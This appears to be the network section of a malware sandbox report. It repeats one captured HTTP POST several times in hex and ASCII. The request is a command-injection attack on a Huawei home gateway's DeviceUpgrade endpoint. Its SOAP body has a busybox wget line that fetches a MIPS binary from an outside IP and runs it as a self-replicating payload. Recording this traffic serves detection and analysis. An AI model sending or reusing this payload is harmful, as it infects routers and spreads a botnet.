Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
